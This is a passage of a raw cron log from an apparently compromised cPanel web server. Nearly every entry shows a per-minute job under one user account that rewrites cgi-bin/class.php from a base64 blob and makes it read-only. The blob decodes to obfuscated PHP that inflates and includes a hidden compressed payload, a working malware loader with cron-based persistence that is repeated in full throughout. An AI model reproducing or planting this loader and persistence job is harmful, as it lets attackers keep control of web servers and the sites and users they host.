"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:13:01 server CROND[14464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:14:01 server CROND[14558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:15:01 server CROND[14617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:15:01 server CROND[14618]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 22:15:01 server CROND[14619]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  8 22:15:01 server CROND[14622]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 22:16:01 server CROND[14731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:17:01 server CROND[14807]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:18:01 server CROND[14889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:19:01 server CROND[15042]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:20:01 server CROND[15100]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 22:20:01 server CROND[15102]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 22:20:01 server CROND[15103]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 22:20:01 server CROND[15101]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 22:20:01 server CROND[15104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:21:01 server CROND[15236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:22:01 server CROND[15300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:23:01 server CROND[15366]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:24:01 server CROND[15514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:25:01 server CROND[15589]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  8 22:25:01 server CROND[15588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1